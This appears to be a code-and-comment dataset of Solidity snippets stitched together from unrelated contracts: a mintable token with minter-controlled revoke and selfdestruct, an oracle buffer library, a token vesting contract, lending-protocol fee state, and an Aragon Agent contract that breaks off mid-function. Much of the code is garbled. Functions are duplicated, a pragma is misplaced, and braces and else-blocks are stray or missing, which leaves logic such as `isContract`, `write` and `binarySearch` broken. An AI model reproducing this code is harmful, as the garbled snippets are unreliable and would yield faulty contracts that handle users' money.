balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value, "");
return true;
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (allowances[msg.sender][_spender] + _value < allowances[msg.sender][_spender]) revert();
allowances[msg.sender][_spender] += _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _owner, address _to, uint256 _value) public returns (bool success) {
if(balances[_owner] < _value) revert();
if(balances[_to] + _value < balances[_to]) revert();
if(allowances[_owner][msg.sender] < _value) revert();
balances[_owner] -= _value;
balances[_to] += _value;
allowances[_owner][msg.sender] -= _value;
Transfer(_owner, _to, _value, "transferFrom");
return true;
}
// Minter Functions
function mint(uint256 _amountToMint) public onlyMinter {
balances[centralMinter] += _amountToMint;
totalSupply += _amountToMint;
Transfer(this, centralMinter, _amountToMint, "mint");
}
function transferMinter(address _address) public onlyMinter {
centralMinter = _address;
}
function transferCustodian(address _address) public onlyMinter {
custodianAddress = _address;
}
function updateSale(bool _onSale) public onlyMinter {
onSale = _onSale;
}
// Use transfer to issue token
// Revoke token after verifying contribution
function revokeToken( address _address, uint256 _value ) public onlyMinter returns (bool success) {
// approve
if (allowances[_address][centralMinter] + _value < allowances[_address][centralMinter]) revert();
allowances[_address][centralMinter] += _value;
Approval(msg.sender, centralMinter, _value);
// transfer from
transferFrom(_address, centralMinter, _value);
return true;
}
// lock and unlock fund. we use this feature when move token to main net
function lockToken( uint256 _value ) public returns (bool success) {
if (lockedValue[msg.sender] != 0) revert();
// transfer value
transfer(custodianAddress, _value, "");
// lock value
lockedValue[msg.sender] = _value;
// approve
if (allowances[msg.sender][centralMinter] + _value < allowances[msg.sender][centralMinter]) revert();
allowances[msg.sender][centralMinter] += _value;
Approval(msg.sender, centralMinter, _value);
return true;
}
// move token to central minter because token was moved to main net successfully
function moveTokenToMinter( address _address ) public onlyMinter returns (bool success) {
if (lockedValue[_address] == 0) revert();
transferFrom(custodianAddress, centralMinter, lockedValue[_address]);
lockedValue[_address] = 0;
return true;
}
// move token back to original owner because token was NOT moved to main net successfully
function unlockToken( address _address) public onlyMinter returns (bool success) {
if (lockedValue[_address] == 0) revert();
transferFrom(custodianAddress, _address, lockedValue[_address]);
lockedValue[_address] = 0;
return true;
}
// Backed By Ether Methods
// Must create the contract so that it has enough Ether to buy back ALL tokens on the market, or else the contract will be insolvent and users won't be able to sell their tokens
function setPrices(uint256 _newSellPrice, uint256 _newBuyPrice) public onlyMinter {
sellPrice = _newSellPrice;
buyPrice = _newBuyPrice;
}
function buy() payable public onlyOnSale returns (uint amount) {
amount = msg.value / buyPrice;
// Validate there are enough tokens minted
if(balances[centralMinter] < amount) revert();
balances[centralMinter] -= amount;
balances[msg.sender] += amount;
Transfer(centralMinter, msg.sender, amount, "buy");
return amount;
}
function sell(uint _amount) public onlyOnSale returns (uint revenue) {
// Validate sender has enough tokens to sell
if (balances[msg.sender] < _amount) revert();
balances[centralMinter] += _amount;
balances[msg.sender] -= _amount;
revenue = _amount * sellPrice;
if (!msg.sender.send(revenue)) {
revert();
} else {
Transfer(msg.sender, centralMinter, _amount, "sell");
return revenue;
}
}
// kill contract itself
function kill() onlyMinter public {
selfdestruct(centralMinter);
}
// fallback for ether
function() payable public {
revert();
}
}
|
check if address is contract or not
|
function isContract(address _address) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_address)
}
if (length > 0) {
return true;
return false;
}
}
| 14,024,744
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./full_match/1/0x5de58BF4ef40e923797aFF1767F8ed4143e6c032/sources/contracts/rate_oracles/OracleBuffer.sol
|
@title OracleBuffer @notice Provides the value history needed by multiple oracle contracts @dev Instances of stored oracle data, "observations", are collected in the oracle array Every pool is initialized with an oracle array length of 1. Anyone can pay the SSTOREs to increase the maximum length of the oracle array. New slots will be added when the array is fully populated. Observations are overwritten when the full length of the oracle array is populated. The most recent observation is available, independent of the length of the oracle array, by passing 0 to observe()
|
library OracleBuffer {
uint256 public constant MAX_BUFFER_LENGTH = 65535;
pragma solidity =0.8.9;
struct Observation {
uint32 blockTimestamp;
uint216 observedValue;
bool initialized;
}
function observation(uint32 blockTimestamp, uint256 observedValue)
private
pure
returns (Observation memory)
{
require(observedValue <= type(uint216).max, ">216");
return
Observation({
blockTimestamp: blockTimestamp,
observedValue: uint216(observedValue),
initialized: true
});
}
function observation(uint32 blockTimestamp, uint256 observedValue)
private
pure
returns (Observation memory)
{
require(observedValue <= type(uint216).max, ">216");
return
Observation({
blockTimestamp: blockTimestamp,
observedValue: uint216(observedValue),
initialized: true
});
}
function initialize(
Observation[MAX_BUFFER_LENGTH] storage self,
uint32[] memory times,
uint256[] memory observedValues
)
internal
returns (
uint16 cardinality,
uint16 cardinalityNext,
uint16 rateIndex
)
{
require(times.length < MAX_BUFFER_LENGTH, "MAXT");
uint16 length = uint16(times.length);
require(length == observedValues.length, "Lengths must match");
require(length > 0, "0T");
uint32 prevTime = 0;
for (uint16 i = 0; i < length; i++) {
require(prevTime < times[i], "input unordered");
self[i] = observation(times[i], observedValues[i]);
prevTime = times[i];
}
return (length, length, length - 1);
}
function initialize(
Observation[MAX_BUFFER_LENGTH] storage self,
uint32[] memory times,
uint256[] memory observedValues
)
internal
returns (
uint16 cardinality,
uint16 cardinalityNext,
uint16 rateIndex
)
{
require(times.length < MAX_BUFFER_LENGTH, "MAXT");
uint16 length = uint16(times.length);
require(length == observedValues.length, "Lengths must match");
require(length > 0, "0T");
uint32 prevTime = 0;
for (uint16 i = 0; i < length; i++) {
require(prevTime < times[i], "input unordered");
self[i] = observation(times[i], observedValues[i]);
prevTime = times[i];
}
return (length, length, length - 1);
}
function write(
Observation[MAX_BUFFER_LENGTH] storage self,
uint16 index,
uint32 blockTimestamp,
uint256 observedValue,
uint16 cardinality,
uint16 cardinalityNext
) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {
Observation memory last = self[index];
if (last.blockTimestamp == blockTimestamp) return (index, cardinality);
if (cardinalityNext > cardinality && index == (cardinality - 1)) {
cardinalityUpdated = cardinalityNext;
cardinalityUpdated = cardinality;
}
indexUpdated = (index + 1) % cardinalityUpdated;
self[indexUpdated] = observation(blockTimestamp, observedValue);
}
function write(
Observation[MAX_BUFFER_LENGTH] storage self,
uint16 index,
uint32 blockTimestamp,
uint256 observedValue,
uint16 cardinality,
uint16 cardinalityNext
) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {
Observation memory last = self[index];
if (last.blockTimestamp == blockTimestamp) return (index, cardinality);
if (cardinalityNext > cardinality && index == (cardinality - 1)) {
cardinalityUpdated = cardinalityNext;
cardinalityUpdated = cardinality;
}
indexUpdated = (index + 1) % cardinalityUpdated;
self[indexUpdated] = observation(blockTimestamp, observedValue);
}
} else {
function grow(
Observation[MAX_BUFFER_LENGTH] storage self,
uint16 current,
uint16 next
) internal returns (uint16) {
require(current > 0, "I");
require(next < MAX_BUFFER_LENGTH, "buffer limit");
if (next <= current) return current;
for (uint16 i = current; i < next; i++) self[i].blockTimestamp = 1;
return next;
}
function binarySearch(
Observation[MAX_BUFFER_LENGTH] storage self,
uint32 target,
uint16 index,
uint16 cardinality
)
internal
view
returns (Observation memory beforeOrAt, Observation memory atOrAfter)
{
uint256 i;
while (true) {
i = (l + r) >> 1;
beforeOrAt = self[i % cardinality];
if (!beforeOrAt.initialized) {
l = i + 1;
continue;
}
atOrAfter = self[(i + 1) % cardinality];
bool targetAtOrAfter = beforeOrAt.blockTimestamp <= target;
if (!targetAtOrAfter) r = i - 1;
else l = i + 1;
}
}
function binarySearch(
Observation[MAX_BUFFER_LENGTH] storage self,
uint32 target,
uint16 index,
uint16 cardinality
)
internal
view
returns (Observation memory beforeOrAt, Observation memory atOrAfter)
{
uint256 i;
while (true) {
i = (l + r) >> 1;
beforeOrAt = self[i % cardinality];
if (!beforeOrAt.initialized) {
l = i + 1;
continue;
}
atOrAfter = self[(i + 1) % cardinality];
bool targetAtOrAfter = beforeOrAt.blockTimestamp <= target;
if (!targetAtOrAfter) r = i - 1;
else l = i + 1;
}
}
function binarySearch(
Observation[MAX_BUFFER_LENGTH] storage self,
uint32 target,
uint16 index,
uint16 cardinality
)
internal
view
returns (Observation memory beforeOrAt, Observation memory atOrAfter)
{
uint256 i;
while (true) {
i = (l + r) >> 1;
beforeOrAt = self[i % cardinality];
if (!beforeOrAt.initialized) {
l = i + 1;
continue;
}
atOrAfter = self[(i + 1) % cardinality];
bool targetAtOrAfter = beforeOrAt.blockTimestamp <= target;
if (!targetAtOrAfter) r = i - 1;
else l = i + 1;
}
}
if (targetAtOrAfter && target <= atOrAfter.blockTimestamp) break;
function getSurroundingObservations(
Observation[MAX_BUFFER_LENGTH] storage self,
uint32 target,
uint32 currentTime,
uint256 currentValue,
uint16 index,
uint16 cardinality
)
internal
view
returns (Observation memory beforeOrAt, Observation memory atOrAfter)
{
beforeOrAt = self[index];
if (beforeOrAt.blockTimestamp <= target) {
if (beforeOrAt.blockTimestamp == target) {
return (beforeOrAt, atOrAfter);
return (beforeOrAt, observation(currentTime, currentValue));
}
}
if (!beforeOrAt.initialized) beforeOrAt = self[0];
}
function getSurroundingObservations(
Observation[MAX_BUFFER_LENGTH] storage self,
uint32 target,
uint32 currentTime,
uint256 currentValue,
uint16 index,
uint16 cardinality
)
internal
view
returns (Observation memory beforeOrAt, Observation memory atOrAfter)
{
beforeOrAt = self[index];
if (beforeOrAt.blockTimestamp <= target) {
if (beforeOrAt.blockTimestamp == target) {
return (beforeOrAt, atOrAfter);
return (beforeOrAt, observation(currentTime, currentValue));
}
}
if (!beforeOrAt.initialized) beforeOrAt = self[0];
}
function getSurroundingObservations(
Observation[MAX_BUFFER_LENGTH] storage self,
uint32 target,
uint32 currentTime,
uint256 currentValue,
uint16 index,
uint16 cardinality
)
internal
view
returns (Observation memory beforeOrAt, Observation memory atOrAfter)
{
beforeOrAt = self[index];
if (beforeOrAt.blockTimestamp <= target) {
if (beforeOrAt.blockTimestamp == target) {
return (beforeOrAt, atOrAfter);
return (beforeOrAt, observation(currentTime, currentValue));
}
}
if (!beforeOrAt.initialized) beforeOrAt = self[0];
}
} else {
beforeOrAt = self[(index + 1) % cardinality];
require(beforeOrAt.blockTimestamp <= target, "OLD");
return binarySearch(self, target, index, cardinality);
}
| 16,410,663
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// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/access/AccessControl.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
/**
* @title VestingInstance
* @dev Implements a vesting instance contract
*/
contract VestingInstance is AccessControl {
// roles
bytes32 public constant CONTROLLER_ROLE = keccak256("CONTROLLER_ROLE");
bytes32 public constant BENEFICIARY_ROLE = keccak256("BENEFICIARY_ROLE");
// constants
uint public constant MAX_TIME_TO_CLAIM = 208 weeks; //4 years
uint public constant MAX_VEST_TIME = 520 weeks; //10 years
uint public constant MAX_DELAY = 208 weeks; //4 years
uint public constant MAX_CLIFF = 208 weeks; //4 years
uint public constant MAX_PERIODS = 52 weeks; //1 year in seconds
// addresses
address public beneficiary; // the address or contract that recieves vested tokens
address public return_funds; // used to refund funds that are unclaimed
address public token_address; // address of token to be vested
// vesting parameters
uint public delay; // delay before vesting starts, from time of vesting instance creation
uint public cliff; // vesting cliff
uint public period_time; // vesting period time
uint public num_periods; // number of vesting periods
uint public vesting_start_time; // vesting start time (not inclusive of the delay) i.e. when vesting instance was created
uint public num_to_vest; // number of tokens to vest
uint public time_to_claim; // max time available to claim vested tokens after all tokens have vested, max is MAX_TIME_TO_CLAIM
// calculated paramteres - computed as needed and not guaranteed to be accurate at all times
uint private vesting_end_time; // calcualted value for when the vesting ends
uint public claimed; // number of tokens claimed
uint private claimable; // number of tokens claimable - only calculated occasionally
// contract state variables
bool public complete; // flag to indicate whether this vesting instance is done vesting
bool public paused; // flag to indicate whether this vesting instance is done vesting
uint public paused_timestamp; // when was the contract paused
uint private pause_delay; // vesting delay
bool private initialized; // flag to indicate whether this struct has been initialized
/**
* @dev Constructor
*/
constructor( address _beneficiary,
address _return_funds,
address _token_address,
address _controller,
uint _delay,
uint _cliff,
uint _period_time,
uint _num_periods,
uint _num_to_vest,
uint _time_to_claim ) {
// set roles
_setupRole( DEFAULT_ADMIN_ROLE, _msgSender() ); // set admin as the owner
grantRole( CONTROLLER_ROLE, _controller ); // set the controller
grantRole( BENEFICIARY_ROLE, _beneficiary ); // set the controller
// check min/max period time
require( _period_time > 0, "Period time can't be zero." );
require( _period_time < MAX_VEST_TIME, "Period time can't be greater than max vesting time." );
// ensure number of periods > 0, < max
require( _num_periods > 0, "Number of vesting periods can't be zero." );
require( _num_periods <= MAX_PERIODS, "Number of vesting periods can't be more than the number of seconds in a year." );
// ensure delay is less than max delay
require( _delay <= MAX_DELAY, "Delay can't be this long." );
// ensure cliff is less than period_time*num_periods and less than max delay
require( _cliff <= MAX_CLIFF, "Cliff can't be this long." ) ;
require( _cliff < (_delay + _period_time*_num_periods), "Cliff can't be beyond vesting time." );
// ensure num to vest is sensible
require( _num_to_vest > 0, "Must vest more than zero tokens." );
// ensure time to claim is less than max
require( _time_to_claim > 0, "Cannnot allow zero time to claim tokens." );
require( _time_to_claim <= MAX_TIME_TO_CLAIM, "Time to claim tokens too large." );
beneficiary = _beneficiary;
return_funds = _return_funds;
token_address = _token_address;
delay = _delay;
cliff = _cliff;
period_time = _period_time;
num_periods = _num_periods;
vesting_start_time = block.timestamp;
num_to_vest = _num_to_vest;
time_to_claim = _time_to_claim;
claimed = 0;
claimable = 0;
pause_delay = 0;
complete = false;
paused = false;
initialized = true;
vesting_end_time = calc_end_timestamp();
require( vesting_end_time > block.timestamp, "Vesting period exceeeds allowable limits." );
claimable = calc_claimable();
complete = is_complete();
}
/**
* @dev The beneficiary can swap another beneficary in their stead.
*/
function swap_beneficiary( address _new_beneficiary ) public onlyRole(DEFAULT_ADMIN_ROLE) {
require( _new_beneficiary != beneficiary, "Must provide new beneficiary" );
grantRole( BENEFICIARY_ROLE, _new_beneficiary); // make the new beneficiary the beneficiary
revokeRole( BENEFICIARY_ROLE, beneficiary ); // revoke beneficiary rights from the old beneficiary
beneficiary = _new_beneficiary;
}
/**
* @dev Pause the vesting of tokens. Vesting resumes only when resume function is called.
* Can only be called by the controller.
*/
function pause_vesting() public onlyRole(CONTROLLER_ROLE) {
paused_timestamp = block.timestamp;
paused = true;
}
/**
* @dev Resume vesting tokens.
* Can only be called by the controller
*/
function resume_vesting() public onlyRole(CONTROLLER_ROLE) {
require( paused, "Can only unpause if the vesting is paused" );
pause_delay += paused_delay();
paused = false;
vesting_end_time = calc_end_timestamp();
}
/**
* @dev Claim tokens.
* Can only be called by the beneficiary.
*/
function claim() public onlyRole(BENEFICIARY_ROLE) {
// check contract state
require( initialized, "This vesting contract has not been initialized. This should never happen." );
require( !complete, "This vesting contract has completed vesting." );
ERC20 token = ERC20(token_address);
claimable = calc_claimable();
require( claimable > 0, "There are no tokens to claim." );
require( claimed < num_to_vest, "Cannot claim more tokens than available in the vesting contract" );
token.transfer( beneficiary, claimable );
claimed += claimable;
claimable = 0;
complete = is_complete(); // check if the vesting is complete
}
/**
* @dev Calcualte how many tokens are claimable based on vesting pamareters.
*/
function calc_claimable() public view returns(uint) {
// calculate how many tokens the user can claim
uint vesting_time = calc_vesting_time(); // how much vesting time has passed
uint periods_passed = vesting_time/period_time; // how many vesting periods have passed
uint tokens_per_period = num_to_vest/num_periods;
uint total_claimable = tokens_per_period*periods_passed;
if( periods_passed >= num_periods ) { // if more periods have passed than the total vesting periods then everything is claimable
total_claimable = num_to_vest;
}
require( total_claimable >= claimed, "Total claimable must be greater than or equal to that already claimed. This should never happen." );
return (total_claimable - claimed);
}
/**
* @dev Calcualte how much time the tokens have been vesting, net of delays and pauses.
*/
function calc_vesting_time() public view returns(uint) {
uint additional_delay = paused_delay();
if( block.timestamp <= (vesting_start_time + delay + pause_delay + cliff + additional_delay) )
return 0;
return block.timestamp - vesting_start_time - delay - pause_delay + additional_delay;
}
/**
* @dev Calculate when the vesting contract completes vesting.
*/
function calc_end_timestamp() public view returns(uint) {
return (vesting_start_time + delay + pause_delay + period_time*num_periods + paused_delay());
}
/**
* @dev If the contract is paused calcualte how long it has been paused.
*/
function paused_delay() internal view returns(uint) {
if( paused ) {
require( block.timestamp > paused_timestamp, "Some kind of fuckery is going on." );
return (block.timestamp - paused_timestamp);
}
return 0;
}
/**
* @dev Check if the contract is compelte. The contract is complete when all tokens have been claimed and when the current time is past the vesting end time.
*/
function is_complete() public view returns(bool) {
// check if all tokens have vested and if all tokens have been claimed
if( (claimed >= num_to_vest) && (block.timestamp >= calc_end_timestamp()) )
return true;
return false;
}
/**
* @dev Check whether the contract has sufficient funds remaining to satisfy the vesting contract.
*/
function sufficient_funds() public view returns(bool) {
ERC20 token = ERC20( token_address );
uint balance = token.balanceOf( address(this) );
require( num_to_vest >= claimed, "Number of tokens claimed in this contract exceeds the number set to vest." );
if( balance >= (num_to_vest - claimed) )
return true;
return false;
}
/**
* @dev Refund tokens if the vesting period has lapsed.
*/
function refund() public onlyRole(DEFAULT_ADMIN_ROLE) {
// check if the vesting period has lapsed
require( block.timestamp > (calc_end_timestamp() + time_to_claim), "The vesting contract has not yet lapsed." );
// calcualte the number of tokens remaining to be claimed and refund those tokens
ERC20 token = ERC20( token_address );
claimable = calc_claimable();
token.transfer( return_funds, claimable );
claimed += claimable;
claimable = 0;
complete = is_complete();
}
}
|
* @dev Calculate when the vesting contract completes vesting./
|
function calc_end_timestamp() public view returns(uint) {
return (vesting_start_time + delay + pause_delay + period_time*num_periods + paused_delay());
}
| 5,354,868
|
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./full_match/4/0xcF9C5EA1373f233F323156C2249662Cf9c60386d/sources/contracts/AbstractToken.sol
|
* Allow given spender to transfer given number of tokens from message sender. @param _spender address to allow the owner of to transfer tokens from message sender @param _value number of tokens to allow to transfer @return success true if token transfer was successfully approved, false otherwise/
|
function approve (address _spender, uint256 _value)
public override virtual returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
| 755,039
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./full_match/43113/0xCff1Ea16293C8F074A5d15A6c8171400925Dc714/sources/contracts/SavingGroups.sol
|
amount to be payed as commitment at the begining of the saving circle
|
uint256 public cashIn;
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./full_match/97/0xec51816BFE26468dec6931baF37a168637b6D3f5/sources/staking/Staking.sol
|
there is no any delegations at al, lets create the first one
|
delegation.delegateQueue.push(DelegationOpDelegate({epoch : sinceEpoch, amount : uint112(amount / BALANCE_COMPACT_PRECISION)}));
| 5,034,334
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./partial_match/1/0xd40cADE3f71C20Ba6FE940E431c890dC100E97d6/sources/Rewards.sol
|
File: @openzeppelin/contracts/GSN/Context.sol @dev Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with GSN meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts./ Empty internal constructor, to prevent people from mistakenly deploying an instance of this contract, which should be used via inheritance.
|
contract Context {
constructor() {
}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
return msg.data;
}
}
| 2,786,395
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/**
* Copyright 2017-2020, bZeroX, LLC. All Rights Reserved.
* Licensed under the Apache License, Version 2.0.
*/
pragma solidity 0.5.17;
import "./Objects.sol";
import "../mixins/EnumerableBytes32Set.sol";
import "../openzeppelin/ReentrancyGuard.sol";
import "../openzeppelin/Ownable.sol";
import "../openzeppelin/SafeMath.sol";
import "../interfaces/IWrbtcERC20.sol";
contract State is Objects, ReentrancyGuard, Ownable {
using SafeMath for uint256;
using EnumerableBytes32Set for EnumerableBytes32Set.Bytes32Set;
address public priceFeeds; // handles asset reference price lookups
address public swapsImpl; // handles asset swaps using dex liquidity
address public sovrynSwapContractRegistryAddress; // contract registry address of the sovryn swap network
mapping(bytes4 => address) public logicTargets; // implementations of protocol functions
mapping(bytes32 => Loan) public loans; // loanId => Loan
mapping(bytes32 => LoanParams) public loanParams; // loanParamsId => LoanParams
mapping(address => mapping(bytes32 => Order)) public lenderOrders; // lender => orderParamsId => Order
mapping(address => mapping(bytes32 => Order)) public borrowerOrders; // borrower => orderParamsId => Order
mapping(bytes32 => mapping(address => bool)) public delegatedManagers; // loanId => delegated => approved
// Interest
mapping(address => mapping(address => LenderInterest)) public lenderInterest; // lender => loanToken => LenderInterest object
mapping(bytes32 => LoanInterest) public loanInterest; // loanId => LoanInterest object
// Internals
EnumerableBytes32Set.Bytes32Set internal logicTargetsSet; // implementations set
EnumerableBytes32Set.Bytes32Set internal activeLoansSet; // active loans set
mapping(address => EnumerableBytes32Set.Bytes32Set) internal lenderLoanSets; // lender loans set
mapping(address => EnumerableBytes32Set.Bytes32Set) internal borrowerLoanSets; // borrow loans set
mapping(address => EnumerableBytes32Set.Bytes32Set) internal userLoanParamSets; // user loan params set
address public feesController; // address controlling fee withdrawals
uint256 public lendingFeePercent = 10**19; // 10% fee // fee taken from lender interest payments
mapping(address => uint256) public lendingFeeTokensHeld; // total interest fees received and not withdrawn per asset
mapping(address => uint256) public lendingFeeTokensPaid; // total interest fees withdraw per asset (lifetime fees = lendingFeeTokensHeld + lendingFeeTokensPaid)
uint256 public tradingFeePercent = 15 * 10**16; // 0.15% fee // fee paid for each trade
mapping(address => uint256) public tradingFeeTokensHeld; // total trading fees received and not withdrawn per asset
mapping(address => uint256) public tradingFeeTokensPaid; // total trading fees withdraw per asset (lifetime fees = tradingFeeTokensHeld + tradingFeeTokensPaid)
uint256 public borrowingFeePercent = 9 * 10**16; // 0.09% fee // origination fee paid for each loan
mapping(address => uint256) public borrowingFeeTokensHeld; // total borrowing fees received and not withdrawn per asset
mapping(address => uint256) public borrowingFeeTokensPaid; // total borrowing fees withdraw per asset (lifetime fees = borrowingFeeTokensHeld + borrowingFeeTokensPaid)
uint256 public protocolTokenHeld; // current protocol token deposit balance
uint256 public protocolTokenPaid; // lifetime total payout of protocol token
uint256 public affiliateFeePercent = 30 * 10**18; // 30% fee share // fee share for affiliate program
uint256 public liquidationIncentivePercent = 5 * 10**18; // 5% collateral discount // discount on collateral for liquidators
mapping(address => address) public loanPoolToUnderlying; // loanPool => underlying
mapping(address => address) public underlyingToLoanPool; // underlying => loanPool
EnumerableBytes32Set.Bytes32Set internal loanPoolsSet; // loan pools set
mapping(address => bool) public supportedTokens; // supported tokens for swaps
uint256 public maxDisagreement = 5 * 10**18; // % disagreement between swap rate and reference rate
uint256 public sourceBuffer = 10000; // used as buffer for swap source amount estimations
uint256 public maxSwapSize = 50 ether; // maximum support swap size in BTC
mapping(address => uint256) public borrowerNonce; // nonce per borrower. used for loan id creation.
uint256 public rolloverBaseReward = 16800000000000; // Rollover transaction costs around 0.0000168 rBTC, it is denominated in wRBTC
uint256 public rolloverFlexFeePercent = 0.1 ether; // 0.1%
IWrbtcERC20 public wrbtcToken;
address public protocolTokenAddress;
uint256 public feeRebatePercent = 50 * 10**18; // 50% fee rebate // potocolToken reward to user, it is worth % of trading/borrowing fee
address public admin;
function _setTarget(bytes4 sig, address target) internal {
logicTargets[sig] = target;
if (target != address(0)) {
logicTargetsSet.addBytes32(bytes32(sig));
} else {
logicTargetsSet.removeBytes32(bytes32(sig));
}
}
}
|
total borrowing fees received and not withdrawn per asset
|
mapping(address => uint256) public borrowingFeeTokensHeld;
| 5,472,608
|
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/*
* SPDX-License-Identitifer: GPL-3.0-or-later
*/
pragma solidity 0.4.24;
import "@aragon/apps-agent/contracts/SignatureValidator.sol";
import "@aragon/apps-agent/contracts/standards/IERC165.sol";
import "@aragon/apps-agent/contracts/standards/ERC1271.sol";
import "@aragon/apps-agent/contracts/standards/IERC721Receiver.sol";
import "./Vault.sol";
import "@aragon/os/contracts/common/IForwarder.sol";
contract Agent is IERC165, IERC721Receiver, ERC1271Bytes, IForwarder, IsContract, Vault {
/* Hardcoded constants to save gas
bytes32 public constant EXECUTE_ROLE = keccak256("EXECUTE_ROLE");
bytes32 public constant SAFE_EXECUTE_ROLE = keccak256("SAFE_EXECUTE_ROLE");
bytes32 public constant ADD_PROTECTED_TOKEN_ROLE = keccak256("ADD_PROTECTED_TOKEN_ROLE");
bytes32 public constant REMOVE_PROTECTED_TOKEN_ROLE = keccak256("REMOVE_PROTECTED_TOKEN_ROLE");
bytes32 public constant ADD_PRESIGNED_HASH_ROLE = keccak256("ADD_PRESIGNED_HASH_ROLE");
bytes32 public constant DESIGNATE_SIGNER_ROLE = keccak256("DESIGNATE_SIGNER_ROLE");
bytes32 public constant RUN_SCRIPT_ROLE = keccak256("RUN_SCRIPT_ROLE");
*/
bytes32 public constant EXECUTE_ROLE = 0xcebf517aa4440d1d125e0355aae64401211d0848a23c02cc5d29a14822580ba4;
bytes32 public constant SAFE_EXECUTE_ROLE = 0x0a1ad7b87f5846153c6d5a1f761d71c7d0cfd122384f56066cd33239b7933694;
bytes32 public constant ADD_PROTECTED_TOKEN_ROLE =
0x6eb2a499556bfa2872f5aa15812b956cc4a71b4d64eb3553f7073c7e41415aaa;
bytes32 public constant REMOVE_PROTECTED_TOKEN_ROLE =
0x71eee93d500f6f065e38b27d242a756466a00a52a1dbcd6b4260f01a8640402a;
bytes32 public constant ADD_PRESIGNED_HASH_ROLE =
0x0b29780bb523a130b3b01f231ef49ed2fa2781645591a0b0a44ca98f15a5994c;
bytes32 public constant DESIGNATE_SIGNER_ROLE = 0x23ce341656c3f14df6692eebd4757791e33662b7dcf9970c8308303da5472b7c;
bytes32 public constant RUN_SCRIPT_ROLE = 0xb421f7ad7646747f3051c50c0b8e2377839296cd4973e27f63821d73e390338f;
uint256 public constant PROTECTED_TOKENS_CAP = 10;
bytes4 private constant ERC165_INTERFACE_ID = 0x01ffc9a7;
bytes4 private constant ERC721_RECEIVED_INTERFACE_ID = 0x150b7a02; // bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))
string private constant ERROR_TARGET_PROTECTED = "AGENT_TARGET_PROTECTED";
string private constant ERROR_PROTECTED_TOKENS_MODIFIED = "AGENT_PROTECTED_TOKENS_MODIFIED";
string private constant ERROR_PROTECTED_BALANCE_LOWERED = "AGENT_PROTECTED_BALANCE_LOWERED";
string private constant ERROR_TOKENS_CAP_REACHED = "AGENT_TOKENS_CAP_REACHED";
string private constant ERROR_TOKEN_NOT_ERC20 = "AGENT_TOKEN_NOT_ERC20";
string private constant ERROR_TOKEN_ALREADY_PROTECTED = "AGENT_TOKEN_ALREADY_PROTECTED";
string private constant ERROR_TOKEN_NOT_PROTECTED = "AGENT_TOKEN_NOT_PROTECTED";
string private constant ERROR_DESIGNATED_TO_SELF = "AGENT_DESIGNATED_TO_SELF";
string private constant ERROR_CAN_NOT_FORWARD = "AGENT_CAN_NOT_FORWARD";
mapping(bytes32 => bool) public isPresigned;
address public designatedSigner;
address[] public protectedTokens;
event SafeExecute(address indexed sender, address indexed target, bytes data);
event Execute(address indexed sender, address indexed target, uint256 ethValue, bytes data);
event AddProtectedToken(address indexed token);
event RemoveProtectedToken(address indexed token);
event PresignHash(address indexed sender, bytes32 indexed hash);
event SetDesignatedSigner(address indexed sender, address indexed oldSigner, address indexed newSigner);
event ReceiveERC721(
address indexed token,
address indexed operator,
address indexed from,
uint256 tokenId,
bytes data
);
/**
* @notice Execute '`@radspec(_target, _data)`' on `_target``_ethValue == 0 ? '' : ' (Sending ' + @tokenAmount(0x0000000000000000000000000000000000000000, _ethValue) + ')'`
* @param _target Address where the action is being executed
* @param _ethValue Amount of ETH from the contract that is sent with the action
* @param _data Calldata for the action
* @return Exits call frame forwarding the return data of the executed call (either error or success data)
*/
function execute(
address _target,
uint256 _ethValue,
bytes _data // This function MUST always be external as the function performs a low level return, exiting the Agent app execution context
)
external
authP(EXECUTE_ROLE, arr(_target, _ethValue, uint256(_getSig(_data)))) // bytes4 casted as uint256 sets the bytes as the LSBs
{
bool result = _target.call.value(_ethValue)(_data);
if (result) {
emit Execute(msg.sender, _target, _ethValue, _data);
}
assembly {
let ptr := mload(0x40)
returndatacopy(ptr, 0, returndatasize)
// revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas.
// if the call returned error data, forward it
switch result
case 0 {
revert(ptr, returndatasize)
}
default {
return(ptr, returndatasize)
}
}
}
/**
* @notice Execute '`@radspec(_target, _data)`' on `_target`, ensuring that protected tokens can't be spent
* @param _target Address where the action is being executed
* @param _data Calldata for the action
* @return Exits call frame forwarding the return data of the executed call (either error or success data)
*/
function safeExecute(
address _target,
bytes _data // This function MUST always be external as the function performs a low level return, exiting the Agent app execution context
)
external
authP(SAFE_EXECUTE_ROLE, arr(_target, uint256(_getSig(_data)))) // bytes4 casted as uint256 sets the bytes as the LSBs
{
uint256 protectedTokensLength = protectedTokens.length;
address[] memory protectedTokens_ = new address[](protectedTokensLength);
uint256[] memory balances = new uint256[](protectedTokensLength);
for (uint256 i = 0; i < protectedTokensLength; i++) {
address token = protectedTokens[i];
require(_target != token, ERROR_TARGET_PROTECTED);
// we copy the protected tokens array to check whether the storage array has been modified during the underlying call
protectedTokens_[i] = token;
// we copy the balances to check whether they have been modified during the underlying call
balances[i] = balance(token);
}
bool result = _target.call(_data);
bytes32 ptr;
uint256 size;
assembly {
size := returndatasize
ptr := mload(0x40)
mstore(0x40, add(ptr, returndatasize))
returndatacopy(ptr, 0, returndatasize)
}
if (result) {
// if the underlying call has succeeded, we check that the protected tokens
// and their balances have not been modified and return the call's return data
require(protectedTokens.length == protectedTokensLength, ERROR_PROTECTED_TOKENS_MODIFIED);
for (uint256 j = 0; j < protectedTokensLength; j++) {
require(protectedTokens[j] == protectedTokens_[j], ERROR_PROTECTED_TOKENS_MODIFIED);
